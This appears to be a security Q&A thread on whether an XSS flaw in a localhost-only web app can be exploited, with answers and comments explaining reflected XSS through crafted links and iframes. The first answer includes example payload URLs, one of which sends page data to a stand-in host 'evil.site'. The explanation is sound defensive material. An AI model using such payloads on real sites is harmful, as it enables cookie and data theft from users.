I have an web app which can used via an browser. The web app can be accessed on localhost only. No remote access is possible. A security tool discovered an XSS issue. Now if this web app is works only localhost, then how can one exploit this XSS issue ? My guess is that only a local user can exploit this issue.
Yes, it's an issue.
The entire point of an XSS is to send a user to a crafted URL that exploits the bug on that user's browser. If an attacker knows an XSS exists, he could craft an XSS URL and send it to a target user, and that user would be able to access the localhost domain.
For example, say there's a page called /viewitem
which takes a parameter name
, which is vulnerable to XSS:
http://localhost/viewitem?id=123&name=n<script>alert(document.cookie);</script>
He sends you that link. You click it, and suddenly you're greeted by an alert box containing the cookies for the page. In reality, he'd post the cookie value off to a 3rd party site, and he's stolen your cookies! In this case he can't actually access the site, so it's a moot point.
However, depending on the configuration of the site, he may be able to exfiltrate data from the viewitem
page too. For example:
http://localhost/viewitem?id=123&name=n<script>var ver=document.getElementById('version').innerHTML;document.location.href='http://evil.site/steal?ver='+encodeURIComponent(ver);</script>
If you've got an element with the id version
, the above URL would extract its contents and send it to a 3rd party page, thus informing the attacker of the version of your software. This trick could be extended to steal other private information on the page, or use Ajax to fetch other content from the localhost
domain.
It is an issue and here is an attack scenario:
- Vulnerable webapp
Vuln_app
resides onVuln_machine
Vuln_app
is accessible only fromlocalhost
- A user browsing the web from
Vuln_machine
browses toAttack_site
website Attack_site
contains a webpage with an iframe that points to theVuln_app
on localhost:<iframe src="http://127.0.0.1/Vuln_app/<xss_issue>"/>
Attack_site
can now execute JavaScript code in the context ofVuln_app
Yes. If you are the only person going to use this application then also you need to bother about XSS because of reflective xss. But if this application is going to be used by co-workers this will be a serious issue. Especially if you are a part of an organization and there are peoples who can access your application, then they can make use of this vulnerability to deface your server and spoil your web application. If your application is hosting for long run this issue should be fixed.
-
1This is wrong, even if you are the only person accessing it. Reflective XSS works by telling the browser to access an URL which contains the attack-code. An external website may tell a browser to access localhost. – Hendrik Brummermann Jan 22 '13 at 14:12
-
I just meant if you are the only person then you know its variability. So you wont try to exploit it. – sujeesh Jan 22 '13 at 14:28